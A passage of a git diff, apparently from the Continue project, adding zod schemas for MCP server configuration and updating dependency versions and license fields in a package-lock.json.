a/packages/config-yaml/src/schemas/mcp/index.ts b/packages/config-yaml/src/schemas/mcp/index.ts new file mode 100644 index 000000000..5d7430355 --- /dev/null +++ b/packages/config-yaml/src/schemas/mcp/index.ts @@ -0,0 +1,41 @@ +import z from "zod"; +import { requestOptionsSchema } from "../../schemas/models.js"; + +const baseMcpServerSchema = z.object({ + name: z.string(), + serverName: z.string().optional(), + faviconUrl: z.string().optional(), + sourceFile: z.string().optional(), // Added during loading + sourceSlug: z.string().optional(), // Added during loading + connectionTimeout: z.number().gt(0).optional(), +}); + +const stdioMcpServerSchema = baseMcpServerSchema.extend({ + command: z.string(), + type: z.literal("stdio").optional(), + args: z.array(z.string()).optional(), + env: z.record(z.string()).optional(), + cwd: z.string().optional(), +}); +export type StdioMcpServer = z.infer; + +const sseOrHttpMcpServerSchema = baseMcpServerSchema.extend({ + url: z.string(), // .url() fails with e.g. IP addresses + type: z.union([z.literal("sse"), z.literal("streamable-http")]).optional(), + apiKey: z.string().optional(), + requestOptions: requestOptionsSchema.optional(), +}); +export type SseMcpServer = z.infer; +export type HttpMcpServer = z.infer; + +export const mcpServerSchema = z.union([ + stdioMcpServerSchema, + sseOrHttpMcpServerSchema, +]); +export type MCPServer = z.infer; + +export const partialMcpServerSchema = z.union([ + stdioMcpServerSchema.partial(), + sseOrHttpMcpServerSchema.partial(), +]); +export type PartialMCPServer = z.infer; diff --git a/packages/config-yaml/src/schemas/mcp/json.ts b/packages/config-yaml/src/schemas/mcp/json.ts new file mode 100644 index 000000000..baaf2b7c9 --- /dev/null +++ b/packages/config-yaml/src/schemas/mcp/json.ts @@ -0,0 +1,51 @@ +import z from "zod"; + +// This is the schema for an entry in e.g. Claude Desktop, Claude code mcp config +const httpOrSseMcpJsonSchema = z.object({ + type: z.union([z.literal("sse"), z.literal("http")]).optional(), + url: z.string(), // .url() fails with e.g. IP addresses + headers: z.record(z.string(), z.string()).optional(), +}); +export type HttpMcpJsonConfig = z.infer; +export type SseMcpJsonConfig = z.infer; + +const stdioMcpJsonSchema = z.object({ + type: z.literal("stdio").optional(), + command: z.string(), + args: z.array(z.string()).optional(), + env: z.record(z.string(), z.string()).optional(), + envFile: z.string().optional(), +}); +export type StdioMcpJsonConfig = z.infer; + +export const mcpServersJsonSchema = z.union([ + httpOrSseMcpJsonSchema, + stdioMcpJsonSchema, +]); +export type McpJsonConfig = z.infer; + +export const mcpServersRecordSchema = z.record( + z.string(), + mcpServersJsonSchema, +); +export type McpServersJsonConfigRecord = z.infer; + +export const claudeDesktopLikeConfigFileSchema = z.object({ + mcpServers: mcpServersRecordSchema, +}); +export type McpServersJsonConfigFile = z.infer< + typeof claudeDesktopLikeConfigFileSchema +>; + +export const claudeCodeLikeConfigFileSchema = z.object({ + mcpServers: mcpServersRecordSchema.optional(), + projects: z.record( + z.string(), + z.object({ + mcpServers: mcpServersRecordSchema.optional(), + }), + ), +}); +export type claudeCodeLikeConfigFileSchema = z.infer< + typeof claudeCodeLikeConfigFileSchema +>; diff --git a/packages/config-yaml/src/validation.ts b/packages/config-yaml/src/validation.ts index 766f852bd..874eb3ad8 100644 --- a/packages/config-yaml/src/validation.ts +++ b/packages/config-yaml/src/validation.ts @@ -3,6 +3,7 @@ import { ConfigYaml, configYamlSchema } from "./schemas/index.js"; export interface ConfigValidationError { fatal: boolean; message: string; + uri?: string; } export interface ConfigResult { diff --git a/packages/continue-sdk/package-lock.json b/packages/continue-sdk/package-lock.json index 2d9966303..66bc98adf 100644 --- a/packages/continue-sdk/package-lock.json +++ b/packages/continue-sdk/package-lock.json @@ -10,7 +10,7 @@ "license": "Apache-2.0", "dependencies": { "@continuedev/config-yaml": "file:../config-yaml", - "@openapitools/openapi-generator-cli": "^2.19.1", + "@openapitools/openapi-generator-cli": "^2.24.0", "express": "^4.18.2", "swagger-ui-express": "^5.0.0" }, @@ -20,7 +20,7 @@ }, "../config-yaml": { "name": "@continuedev/config-yaml", - "version": "1.17.0", + "version": "1.23.0", "license": "Apache-2.0", "dependencies": { "@continuedev/config-types": "^1.0.14", @@ -45,33 +45,188 @@ "zod-to-json-schema": "^3.24.5" } }, - "node_modules/@babel/runtime": { - "version": "7.27.0", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.27.0.tgz", - "integrity": "sha512-VtPOkrdPHZsKc/clNqyi9WUA8TINkZ4cGk63UUE3u4pmB2k+ZMQRDuIOagv8UVd6j7k0T3+RRIb7beKTebNbcw==", - "dependencies": { - "regenerator-runtime": "^0.14.0" - }, - "engines": { - "node": ">=6.9.0" + "node_modules/@borewit/text-codec": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/@borewit/text-codec/-/text-codec-0.1.1.tgz", + "integrity": "sha512-5L/uBxmjaCIX5h8Z+uu+kA9BQLkc/Wl06UGR5ajNRxu+/XjonB5i8JpgFMrPj3LXTCPA0pv8yxUvbUi+QthGGA==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" } }, "node_modules/@continuedev/config-yaml": { "resolved": "../config-yaml", "link": true }, + "node_modules/@inquirer/external-editor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@inquirer/external-editor/-/external-editor-1.0.2.tgz", + "integrity": "sha512-yy9cOoBnx58TlsPrIxauKIFQTiyH+0MK4e97y4sV9ERbI+zDxw7i2hxHLCIEGIE/8PPvDxGhgzIOTSOWcs6/MQ==", + "license": "MIT", + "dependencies": { + "chardet": "^2.1.0", + "iconv-lite": "^0.7.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/external-editor/node_modules/iconv-lite": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.0.tgz", + "integrity": "sha512-cf6L2Ds3h57VVmkZe+Pn+5APsT7FpqJtEhhieDCvrE2MK5Qk9MyffgQyuxQTm6BChfeZNtcOLHp9IcWRVcIcBQ==", + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/@isaacs/balanced-match": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@isaacs/balanced-match/-/balanced-match-4.0.1.tgz", + "integrity": "sha512-yzMTt9lEb8Gv7zRioUilSglI0c0smZ9k5D65677DLWLtWJaXIS3CqcGyUFByYKlnUj6TkjLVs54fBl6+TiGQDQ==", + "license": "MIT", + "engines": { + "node": "20 || >=22" + } + }, + "node_modules/@isaacs/brace-expansion": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/@isaacs/brace-expansion/-/brace-expansion-5.0.0.tgz", + "integrity": "sha512-ZT55BDLV0yv0RBm2czMiZ+SqCGO7AvmOM3G/w2xhVPH+te0aKgFjmBvGlL1dH+ql2tgGO3MVrbb3jCKyvpgnxA==", + "license": "MIT", + "dependencies": { + "@isaacs/balanced-match": "^4.0.1" + }, + "engines": { + "node": "20 || >=22" + } + }, + "node_modules/@isaacs/cliui": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", + "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", + "license": "ISC", + "dependencies": { + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@isaacs/cliui/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "license": "MIT" + }, + "node_modules/@isaacs/cliui/node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "license": "MIT", + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@isaacs/cliui/node_modules/strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, "node_modules/@lukeed/csprng": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/@lukeed/csprng/-/csprng-1.1.0.tgz", "integrity": "sha512-Z7C/xXCiGWsg0KuKsHTKJxbWhpI3Vs5GwLfOean7MGyVFGqdRgBbAjOCh6u4bbjPc/8MJ2pZmK/0DLdCbivLDA==", + "license": "MIT", "engines": { "node": ">=8" } }, "node_modules/@nestjs/axios": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@nestjs/axios/-/axios-4.0.0.tgz", - "integrity": "sha512-1cB+Jyltu/uUPNQrpUimRHEQHrnQrpLzVj6dU3dgn6iDDDdahr10TgHFGTmw5VuJ9GzKZsCLDL78VSwJAs/9JQ==", + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@nestjs/axios/-/axios-4.0.1.tgz", + "integrity": "sha512-68pFJgu+/AZbWkGu65Z3r55bTsCPlgyKaV4BSG8yUAD72q1PPuyVRgUwFv6BxdnibTUHlyxm06FmYWNC+bjN7A==", + "license": "MIT", "peerDependencies": { "@nestjs/common": "^10.0.0 || ^11.0.0", "axios": "^1.3.1", @@ -79,11 +234,12 @@ } }, "node_modules/@nestjs/common": { - "version": "11.0.20", - "resolved": "https://registry.npmjs.org/@nestjs/common/-/common-11.0.20.tgz", - "integrity": "sha512-/GH8NDCczjn6+6RNEtSNAts/nq/wQE8L1qZ9TRjqjNqEsZNE1vpFuRIhmcO2isQZ0xY5rySnpaRdrOAul3gQ3A==", + "version": "11.1.6", + "resolved": "https://registry.npmjs.org/@nestjs/common/-/common-11.1.6.tgz", + "integrity": "sha512-krKwLLcFmeuKDqngG2N/RuZHCs2ycsKcxWIDgcm7i1lf3sQ0iG03ci+DsP/r3FcT/eJDFsIHnKtNta2LIi7PzQ==", + "license": "MIT", "dependencies": { - "file-type": "20.4.1", + "file-type": "21.0.0", "iterare": "1.2.1", "load-esm": "1.0.2", "tslib": "2.8.1", @@ -94,8 +250,8 @@ "url": "https://opencollective.com/nest" }, "peerDependencies": { - "class-transformer": "*", - "class-validator": "*", + "class-transformer": ">=0.4.1", + "class-validator": ">=0.13.2", "reflect-metadata": "^0.1.12 || ^0.2.0", "rxjs": "^7.1.0" }, @@ -109,10 +265,11 @@ } }, "node_modules/@nestjs/core": { - "version": "11.0.20", - "resolved": "https://registry.npmjs.org/@nestjs/core/-/core-11.0.20.tgz", - "integrity": "sha512-yUkEzBGiRNSEThVl6vMCXgoA9sDGWoRbJsTLdYdCC7lg7PE1iXBnna1FiBfQjT995pm0fjyM1e3WsXmyWeJXbw==", + "version": "11.1.6", + "resolved": "https://registry.npmjs.org/@nestjs/core/-/core-11.1.6.tgz", + "integrity": "sha512-siWX7UDgErisW18VTeJA+x+/tpNZrJewjTBsRPF3JVxuWRuAB1kRoiJcxHgln8Lb5UY9NdvklITR84DUEXD0Cg==", "hasInstallScript": true, + "license": "MIT", "dependencies": { "@nuxt/opencollective": "0.4.1", "fast-safe-stringify": "2.1.1", @@ -152,6 +309,7 @@ "version": "0.4.1", "resolved": "https://registry.npmjs.org/@nuxt/opencollective/-/opencollective-0.4.1.tgz", "integrity": "sha512-GXD3wy50qYbxCJ652bDrDzgMr3NFEkIS374+IgFQKkCvk9yiYcLvX2XDYr7UyQxf4wK0e+yqDYRubZ0DtOxnmQ==", + "license": "MIT", "dependencies": { "consola": "^3.2.3" }, @@ -186,25 +344,25 @@ "integrity": "sha512-9vAdYbHj6x2fLKC4+oPH0kFzY/orMZyG2Aj+kNylHxKGJ/Ed4dpNyAQYwJOdqO4zdM7XpVHmyejQDcQHrnuXbw==" }, "node_modules/@openapitools/openapi-generator-cli": { - "version": "2.19.1", - "resolved": "https://registry.npmjs.org/@openapitools/openapi-generator-cli/-/openapi-generator-cli-2.19.1.tgz", - "integrity": "sha512-APP3EPI/m7bg220qS+7UAFiyLJFbNCjlsEEjrP2sLmW4Za44U8e3Lb2zDy3sbvJvIUnpYWe+hu9RbrxrPP9djQ==", + "version": "2.24.0", + "resolved": "https://registry.npmjs.org/@openapitools/openapi-generator-cli/-/openapi-generator-cli-2.24.0.tgz", + "integrity": "sha512-VS0sfW46oe/hQq7g1YZU1cJJebAQIwKhKqjsDY1/QFmcJMXYfe339yjMDTv02kMbsx621cSH46HIdvmW+i+7mg==", "hasInstallScript": true, + "license": "Apache-2.0", "dependencies": { - "@nestjs/axios": "4.0.0", - "@nestjs/common": "11.0.20", - "@nestjs/core": "11.0.20", + "@nestjs/axios": "4.0.1", + "@nestjs/common": "11.1.6", + "@nestjs/core": "11.1.6", "@nuxtjs/opencollective": "0.3.2", - "axios": "1.8.4", + "axios": "1.12.2", "chalk": "4.1.2", "commander": "8.3.0", - "compare-versions": "4.1.4", - "concurrently": "6.5.1", + "compare-versions": "6.1.1", + "concurrently": "9.2.1", "console.table": "0.10.0", - "fs-extra": "11.3.0", - "glob": "9.3.5", - "inquirer": "8.2.6", - "lodash": "4.17.21", + "fs-extra": "11.3.2", + "glob": "11.0.3", + "inquirer": "8.2.7", "proxy-agent": "6.5.0", "reflect-metadata": "0.2.2", "rxjs": "7.8.2", @@ -231,6 +389,7 @@ "version": "0.2.7", "resolved": "https://registry.npmjs.org/@tokenizer/inflate/-/inflate-0.2.7.tgz", "integrity": "sha512-MADQgmZT1eKjp06jpI2yozxaU9uVs4GzzgSL+uEq7bVcJ9V1ZXQkeGNql1fsSI0gMy1vhvNTNbUqrx+pZfJVmg==", + "license": "MIT", "dependencies": { "debug": "^4.4.0", "fflate": "^0.8.2", @@ -247,7 +406,8 @@ "node_modules/@tokenizer/token": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/@tokenizer/token/-/token-0.3.0.tgz", - "integrity": "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A==" + "integrity": "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A==", + "license": "MIT" }, "node_modules/@tootallnate/quickjs-emscripten": { "version": "0.23.0", @@ -278,6 +438,7 @@ "version": "4.3.2", "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", + "license": "MIT", "dependencies": { "type-fest": "^0.21.3" }, @@ -292,6 +453,7 @@ "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", "engines": { "node": ">=8" } @@ -329,23 +491,20 @@ "node_modules/asynckit": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" }, "node_modules/axios": { - "version": "1.8.4", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.8.4.tgz", - "integrity": "sha512-eBSYY4Y68NNlHbHBMdeDmKNtDgXWhQsJcGqzO3iLUM0GraQFSS9cVgPX5I9b3lbdFKyYoAEGAZF1DwhTaljNAw==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.12.2.tgz", + "integrity": "sha512-vMJzPewAlRyOgxV2dU0Cuz2O8zzzx9VYtbJOaBgXFeLc4IV/Eg50n4LowmehOOR61S8ZMpc2K5Sa7g6A4jfkUw==", + "license": "MIT", "dependencies": { "follow-redirects": "^1.15.6", - "form-data": "^4.0.0", + "form-data": "^4.0.4", "proxy-from-env": "^1.1.0" } }, - "node_modules/balanced-match": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" - }, "node_modules/base64-js": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", @@ -363,7 +522,8 @@ "type": "consulting", "url": "https://feross.org/support" } - ] + ], + "license": "MIT" }, "node_modules/basic-ftp": { "version": "5.0.5", @@ -377,6 +537,7 @@ "version": "4.1.0", "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "license": "MIT", "dependencies": { "buffer": "^5.5.0", "inherits": "^2.0.4", @@ -419,15 +580,6 @@ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" }, - "node_modules/brace-expansion": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", - "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0" - } - }, "node_modules/buffer": { "version": "5.7.1", "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", @@ -446,6 +598,7 @@ "url": "https://feross.org/support" } ], + "license": "MIT", "dependencies": { "base64-js": "^1.3.1", "ieee754": "^1.1.13" @@ -502,14 +655,16 @@ } }, "node_modules/chardet": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz", - "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==" + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/chardet/-/chardet-2.1.0.tgz", + "integrity": "sha512-bNFETTG/pM5ryzQ9Ad0lJOTa6HWD/YsScAR3EnCPZRPlQh77JocYktSHOUHelyhm8IARL+o4c4F1bP5KVOjiRA==", + "license": "MIT" }, "node_modules/cli-cursor": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", + "license": "MIT", "dependencies": { "restore-cursor": "^3.1.0" }, @@ -521,6 +676,7 @@ "version": "2.9.2", "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.9.2.tgz", "integrity": "sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==", + "license": "MIT", "engines": { "node": ">=6" }, @@ -532,24 +688,30 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-3.0.0.tgz", "integrity": "sha512-FxqpkPPwu1HjuN93Omfm4h8uIanXofW0RxVEW3k5RKx+mJJYSthzNhp32Kzxxy3YAEZ/Dc/EWN1vZRY0+kOhbw==", + "license": "ISC", "engines": { "node": ">= 10" } }, "node_modules/cliui": { - "version": "7.0.4", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", - "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "license": "ISC", "dependencies": { "string-width": "^4.2.0", - "strip-ansi": "^6.0.0", + "strip-ansi": "^6.0.1", "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" } }, "node_modules/cliui/node_modules/wrap-ansi": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "license": "MIT", "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", @@ -590,6 +752,7 @@ "version": "1.0.8", "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", "dependencies": { "delayed-stream": "~1.0.0" }, @@ -606,46 +769,40 @@ } }, "node_modules/compare-versions": { - "version": "4.1.4", - "resolved": "https://registry.npmjs.org/compare-versions/-/compare-versions-4.1.4.tgz", - "integrity": "sha512-FemMreK9xNyL8gQevsdRMrvO4lFCkQP7qbuktn1q8ndcNk1+0mz7lgE7b/sNvbhVgY4w6tMN1FDp6aADjqw2rw==" + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/compare-versions/-/compare-versions-6.1.1.tgz", + "integrity": "sha512-4hm4VPpIecmlg59CHXnRDnqGplJFrbLG4aFEl5vl6cK1u76ws3LLvX7ikFnTDl5vo39sjWD6AaDPYodJp/NNHg==", + "license": "MIT" }, "node_modules/concurrently": { - "version": "6.5.1", - "resolved": "https://registry.npmjs.org/concurrently/-/concurrently-6.5.1.tgz", - "integrity": "sha512-FlSwNpGjWQfRwPLXvJ/OgysbBxPkWpiVjy1042b0U7on7S7qwwMIILRj7WTN1mTgqa582bG6NFuScOoh6Zgdag==", + "version": "9.2.1", + "resolved": "https://registry.npmjs.org/concurrently/-/concurrently-9.2.1.tgz", + "integrity": "sha512-fsfrO0MxV64Znoy8/l1vVIjjHa29SZyyqPgQBwhiDcaW8wJc2W3XWVOGx4M3oJBnv/zdUZIIp1gDeS98GzP8Ng==", + "license": "MIT", "dependencies": { - "chalk": "^4.1.0", - "date-fns": "^2.16.1", - "lodash": "^4.17.21", - "rxjs": "^6.6.3", - "spawn-command": "^0.0.2-1", - "supports-color": "^8.1.0", - "tree-kill": "^1.2.2", - "yargs": "^16.2.0" + "chalk": "4.1.2", + "rxjs": "7.8.2", + "shell-quote": "1.8.3", + "supports-color": "8.1.1", + "tree-kill": "1.2.2", + "yargs": "17.7.2" }, "bin": { - "concurrently": "bin/concurrently.js" + "conc": "dist/bin/concurrently.js", + "concurrently": "dist/bin/concurrently.js" }, "engines": { - "node": ">=10.0.0" - } - }, - "node_modules/concurrently/node_modules/rxjs": { - "version": "6.6.7", - "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.7.tgz", - "integrity": "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==", - "dependencies": { - "tslib": "^1.9.0" + "node": ">=18" }, - "engines": { - "npm": ">=2.0.0" + "funding": { + "url": "https://github.com/open-cli-tools/concurrently?sponsor=1" } }, "node_modules/concurrently/node_modules/supports-color": { "version": "8.1.1", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "license": "MIT", "dependencies": { "has-flag": "^4.0.0" }, @@ -656,15 +813,11 @@ "url": "https://github.com/chalk/supports-color?sponsor=1" } }, - "node_modules/concurrently/node_modules/tslib": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", - "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==" - }, "node_modules/consola": { "version": "3.4.2", "resolved": "https://registry.npmjs.org/consola/-/consola-3.4.2.tgz", "integrity": "sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA==", + "license": "MIT", "engines": { "node": "^14.18.0 || >=16.10.0" } @@ -712,6 +865,20 @@ "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==" }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, "node_modules/data-uri-to-buffer": { "version": "6.0.2", "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-6.0.2.tgz", @@ -720,21 +887,6 @@ "node": ">= 14" } }, - "node_modules/date-fns": { - "version": "2.30.0", - "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-2.30.0.tgz", - "integrity": "sha512-fnULvOpxnC5/Vg3NCiWelDsLiUc9bRwAPs/+LfTLNvetFCtCTN+yQz15C/fs4AwX1R9K5GLtLfn8QW+dWisaAw==", - "dependencies": { - "@babel/runtime": "^7.21.0" - }, - "engines": { - "node": ">=0.11" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/date-fns" - } - }, "node_modules/debug": { "version": "4.4.0", "resolved": 